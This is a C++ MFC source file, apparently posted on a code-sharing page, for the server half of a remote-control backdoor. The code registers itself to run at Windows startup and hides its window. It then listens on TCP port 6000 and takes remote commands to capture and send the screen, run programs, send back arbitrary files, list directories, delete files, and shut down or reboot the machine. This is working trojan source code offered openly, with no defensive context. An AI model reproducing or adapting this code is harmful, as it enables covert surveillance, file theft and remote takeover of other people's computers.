📄 servedlg.cpp
字号:
// serveDlg.cpp : implementation file
//
#include "stdafx.h"
#include "serve.h"
#include "serveDlg.h"
#include "global.h"
#include "bmp.cpp"
#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif
/////////////////////////////////////////////////////////////////////////////
// CServeDlg dialog
mytcp tcp;
void Register()
{
CString m_pathh;
::GetModuleFileName(NULL,m_pathh.GetBufferSetLength(MAX_PATH+1),MAX_PATH);
//MessageBox(m_pathh);
CString st=_T("Software\\Microsoft\\Windows\\CurrentVersion\\Run");
HKEY h=NULL;
if(::RegOpenKey(HKEY_LOCAL_MACHINE,st,&h)!=ERROR_SUCCESS)
AfxMessageBox("");
if(::RegSetValueEx(h,st,0,REG_SZ,(CONST BYTE*)m_pathh.GetBuffer(0),m_pathh.GetLength())!=ERROR_SUCCESS)
AfxMessageBox("");
}
HBITMAP WINAPI GetSrcBit(DWORD BitWidth,DWORD BitHeight)
{
HBITMAP hBit;
HDC hdcmy,hbufferdc;
HBITMAP hOldBitmap;
DWORD SysWidth,SysHeight;
SysWidth = GetSystemMetrics(SM_CXSCREEN);
SysHeight = GetSystemMetrics(SM_CYSCREEN);
//Create DesktopDC
hdcmy = CreateDC("DISPLAY",NULL,NULL,NULL);
hbufferdc = CreateCompatibleDC(hdcmy);
//Create Hbitmap
hBit = CreateCompatibleBitmap(hdcmy, BitWidth, BitHeight);
//Get bit to Buffer
hOldBitmap = (HBITMAP)SelectObject(hbufferdc, hBit);
StretchBlt(hbufferdc, 0, 0, BitWidth, BitHeight,
hdcmy, 0, 0,SysWidth,SysHeight, SRCCOPY);
//Get finally bit
hBit = (HBITMAP)SelectObject(hbufferdc, hOldBitmap);
//Release Memory
DeleteObject(hOldBitmap);
ReleaseDC(NULL,hdcmy);
ReleaseDC(NULL,hbufferdc);
//AfxMessageBox("get");
return hBit;
}
HANDLE DDBtoDIB( HBITMAP bitmap,int nbit)
{
BITMAP bm;
BITMAPINFOHEADER bi;
LPBITMAPINFOHEADER lpbi;
DWORD dwLen;
HANDLE hDib;
HANDLE handle;
HDC hdc;
HPALETTE hPal;
hPal = (HPALETTE) GetStockObject(DEFAULT_PALETTE );
// get bitmap information
GetObject(bitmap,sizeof(bm),(LPSTR)&bm);
// initialize the bitmapinfoheader
bi.biSize = sizeof(BITMAPINFOHEADER);
bi.biWidth = bm.bmWidth;
bi.biHeight = bm.bmHeight;
bi.biPlanes = 1;
// bi.biBitCount = bm.bmPlanes * bm.bmBitsPixel;
bi.biBitCount = nbit;
bi.biCompression = BI_RGB;
bi.biSizeImage = 0;
bi.biXPelsPerMeter = 0;
bi.biYPelsPerMeter = 0;
bi.biClrUsed = 0;
bi.biClrImportant = 0;
// compute the size of the infoheader and the color table
int ncolors = (1 << bi.biBitCount);
if( ncolors> 256 )
ncolors = 0;
dwLen = bi.biSize + ncolors * sizeof(RGBQUAD);
CString aa;
aa.Format("%d",bi.biBitCount);
//MessageBox(aa);
// we need a device context to get the dib from
hdc = ::GetDC(NULL);
hPal = SelectPalette(hdc,hPal,FALSE);
RealizePalette(hdc);
// allocate enough memory to hold bitmapinfoheader and color table
hDib = GlobalAlloc(GMEM_FIXED,dwLen);
if (!hDib){
SelectPalette(hdc,hPal,FALSE);
::ReleaseDC(NULL,hdc);
return NULL;
}
lpbi = (LPBITMAPINFOHEADER)hDib;
*lpbi = bi;
// call getdibits with a NULL lpbits param, so the device driver
// will calculate the bisizeimage field
GetDIBits(hdc, bitmap, 0L, (DWORD)bi.biHeight,
(LPBYTE)NULL, (LPBITMAPINFO)lpbi, (DWORD)DIB_RGB_COLORS );
bi = *lpbi;
// if the driver did not fill in the bisizeimage field, then compute it
// each scan line of the image is aligned on a dword (32bit) boundary
if (bi.biSizeImage == 0)
{
bi.biSizeImage = ((((bi.biWidth * bi.biBitCount) + 31) & ~31) / 8)
* bi.biHeight;
}
// realloc the buffer so that it can hold all the bits
dwLen += bi.biSizeImage;
if (handle = GlobalReAlloc(hDib, dwLen, GMEM_MOVEABLE))
hDib = handle;
else
{
GlobalFree(hDib);
// reselect the original palette
SelectPalette(hdc,hPal,FALSE);
::ReleaseDC(NULL,hdc);
return NULL;
}
// get the bitmap bits
lpbi = (LPBITMAPINFOHEADER)hDib;
// finally get the dib
BOOL bgotbits = GetDIBits( hdc, bitmap,
0L, // start scan line
(DWORD)bi.biHeight, // # of scan lines
(LPBYTE)lpbi // address for bitmap bits
+ (bi.biSize + ncolors * sizeof(RGBQUAD)),
(LPBITMAPINFO)lpbi, // address of bitmapinfo
(DWORD)DIB_RGB_COLORS); // use rgb for color table
if( !bgotbits )
{
GlobalFree(hDib);
SelectPalette(hdc,hPal,FALSE);
::ReleaseDC(NULL,hdc);
return NULL;
}
SelectPalette(hdc,hPal,FALSE);
::ReleaseDC(NULL,hdc);
return hDib;
}
void WINAPI zhuatu(CString m_path)
{
CRect rect;
AfxMessageBox("stary of zhuatu");
GetWindowRect(GetDesktopWindow(),&rect);
HBITMAP s=GetSrcBit(rect.Width(), rect.Height());
HANDLE hDib=DDBtoDIB(s,24);
DWORD bitSize = GlobalSize(hDib);
LPBYTE m_s=(LPBYTE)hDib;
CString cc;
cc.Format("%d",bitSize);
BITMAPFILEHEADER he;
he.bfOffBits=sizeof(BITMAPFILEHEADER)+sizeof(BITMAPINFOHEADER);
he.bfReserved1=0;
he.bfReserved2=0;
he.bfType=0x4d42;
he.bfSize=bitSize+sizeof(BITMAPFILEHEADER);
CFile file;
if(file.Open(m_path,CFile::modeWrite|CFile::modeCreate))
{
file.Write(&he,sizeof(BITMAPFILEHEADER));
file.SeekToEnd();
file.Write(m_s,bitSize);
file.Close();
::GlobalFree(hDib);
}
}
void SendDesktop()
{
CRect rect;
LPBYTE plmagePoint;
HANDLE hDib;
HBITMAP hBit;
int BitHeight,BitWidth;
GetWindowRect(GetDesktopWindow(),&rect);
BitHeight=rect.Height();
BitWidth=rect.Width();
hBit = GetSrcBit(BitWidth,BitHeight);
hDib = DDBtoDIB(hBit,16);
DWORD bitSize = GlobalSize(hDib);
plmagePoint = (LPBYTE)hDib;
tcp.type=1;
tcp.mysend((char*)plmagePoint,bitSize);
DeleteObject(hBit);
GlobalFree(hDib);
delete plmagePoint;
}
CServeDlg::CServeDlg(CWnd* pParent /*=NULL*/)
: CDialog(CServeDlg::IDD, pParent)
{
//{{AFX_DATA_INIT(CServeDlg)
// NOTE: the ClassWizard will add member initialization here
//}}AFX_DATA_INIT
// Note that LoadIcon does not require a subsequent DestroyIcon in Win32
m_hIcon = AfxGetApp()->LoadIcon(IDR_MAINFRAME);
}
void CServeDlg::DoDataExchange(CDataExchange* pDX)
{
CDialog::DoDataExchange(pDX);
//{{AFX_DATA_MAP(CServeDlg)
// NOTE: the ClassWizard will add DDX and DDV calls here
//}}AFX_DATA_MAP
}
BEGIN_MESSAGE_MAP(CServeDlg, CDialog)
//{{AFX_MSG_MAP(CServeDlg)
ON_WM_PAINT()
ON_WM_QUERYDRAGICON()
ON_WM_TIMER()
//}}AFX_MSG_MAP
END_MESSAGE_MAP()
/////////////////////////////////////////////////////////////////////////////
// CServeDlg message handlers
BOOL CServeDlg::OnInitDialog()
{Register();
CDialog::OnInitDialog();
SetTimer(1,100,0);
tcp.mycreat(6000);
tcp.myaccept();
// Set the icon for this dialog. The framework does this automatically
// when the application's main window is not a dialog
SetIcon(m_hIcon, TRUE); // Set big icon
SetIcon(m_hIcon, FALSE); // Set small icon
// TODO: Add extra initialization here
return TRUE; // return TRUE unless you set the focus to a control
}
// If you add a minimize button to your dialog, you will need the code below
// to draw the icon. For MFC applications using the document/view model,
// this is automatically done for you by the framework.
void CServeDlg::OnPaint()
{
if (IsIconic())
{
CPaintDC dc(this); // device context for painting
SendMessage(WM_ICONERASEBKGND, (WPARAM) dc.GetSafeHdc(), 0);
// Center icon in client rectangle
int cxIcon = GetSystemMetrics(SM_CXICON);
int cyIcon = GetSystemMetrics(SM_CYICON);
CRect rect;
GetClientRect(&rect);
int x = (rect.Width() - cxIcon + 1) / 2;
int y = (rect.Height() - cyIcon + 1) / 2;
// Draw the icon
dc.DrawIcon(x, y, m_hIcon);
}
else
{
CDialog::OnPaint();
}
ShowWindow(SW_HIDE);
}
// The system calls this to obtain the cursor to display while the user drags
// the minimized window.
HCURSOR CServeDlg::OnQueryDragIcon()
{
return (HCURSOR) m_hIcon;
}
void CServeDlg::OnTimer(UINT nIDEvent)
{
// TODO: Add your message handler code here and/or call default
if(nIDEvent==1)
{
if(tcp.isaccpet==1)
{
if(tcp.isreceve==1)
{tcp.isreceve=0;
if(tcp.type==0)
{ char a[1024];
memcpy(a,tcp.rhead.next->data,tcp.rhead.next->pos);
a[tcp.rhead.next->pos]=0;
if(strcmp(a,"tupian")==0)
SendDesktop();
if(strcmp(a,"guanji")==0)
::ExitWindows(EWX_SHUTDOWN,0);
if(strcmp(a,"zhuxiao")==0)
ExitWindows(EWX_LOGOFF,0);
if(strcmp(a,"chongqi")==0)
ExitWindows(EWX_REBOOT,0);
CString exe=a;
if(exe.Left(3)=="exe")
{
CString ff=exe.Right(exe.GetLength()-3);
//MessageBox(ff);
//::WinExec(ff,SW_HIDE);
::ShellExecute(0,0,ff,0,0,SW_SHOW);
}
if(exe.Left(4)=="copy")
{
CString m_file=exe.Right(exe.GetLength()-4);
CFile file;
UpdateData(true);
if(file.Open(m_file,CFile::modeRead,0))
{
char *bu=(char*)::GlobalAlloc(0,file.GetLength());
// MessageBox(m_file);
file.Read(bu,file.GetLength());
tcp.type=2;
strcpy(tcp.name,file.GetFileName());
//MessageBox(a.name);
tcp.mysend(bu,file.GetLength());
}
}
if(exe.Left(4)=="find")
{
CString ff=exe.Right(exe.GetLength()-4);
WIN32_FIND_DATA fi;
CString path=ff;
void* hfile=FindFirstFile(ff,&fi);
if(hfile!=INVALID_HANDLE_VALUE)
{
for(;;)
{
DWORD flag=FindNextFile(hfile,&fi);
if(flag==false)
break;
CString pro;
if(fi.dwFileAttributes==FILE_ATTRIBUTE_DIRECTORY)
pro=" :directory ";
else
pro=" :file " ;
path=path+fi.cFileName+pro+"\n";
}
tcp.type=0;
tcp.mysend(path.GetBuffer(0),path.GetLength());
}
}
if(exe.Left(6)=="delete")
{
CString ff=exe.Right(exe.GetLength()-6);
::DeleteFile(ff);
}
tcp.rhead.len=0;
}
if(tcp.type==1)
{
void* buffer=::GlobalAlloc(0,1024*1024*50);
char*ps=(char*)buffer;
DWORD size=0;
node*p=&tcp.rhead;
node *prr;
prr=p;
CString rr;
for(int i=0;i<tcp.rhead.len;i++)
{prr=p;
p=p->next;
memcpy((char*)ps,p->data,p->pos);
ps=(char*)ps+p->pos;
size=size+p->pos;
if(prr!=&tcp.rhead)
free(prr);
}
tcp.rhead.len=0;
CString path=tcp.name;
CFile file;
if(file.Open(path,CFile::modeWrite|CFile::modeCreate,0))
{
file.Write(buffer,size);
file.Close();
::GlobalFree(buffer);
}
}
}
}
}
CDialog::OnTimer(nIDEvent);
}
DWORD WINAPI zhu(LPVOID param)
{
if(tcp.isaccpet==1)
{//zhuatu("1.bmp");
SendDesktop();
for(int j=0;j<50000;j++)
for(int k=0;k<400;k++)
;
}
return 1;
}
void CServeDlg::OnOK()
{
// TODO: Add extra validation here
DWORD dwthewad;
HANDLE thread=::CreateThread(NULL,0,zhu,0,0,&dwthewad);
// CDialog::OnOK();
}
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -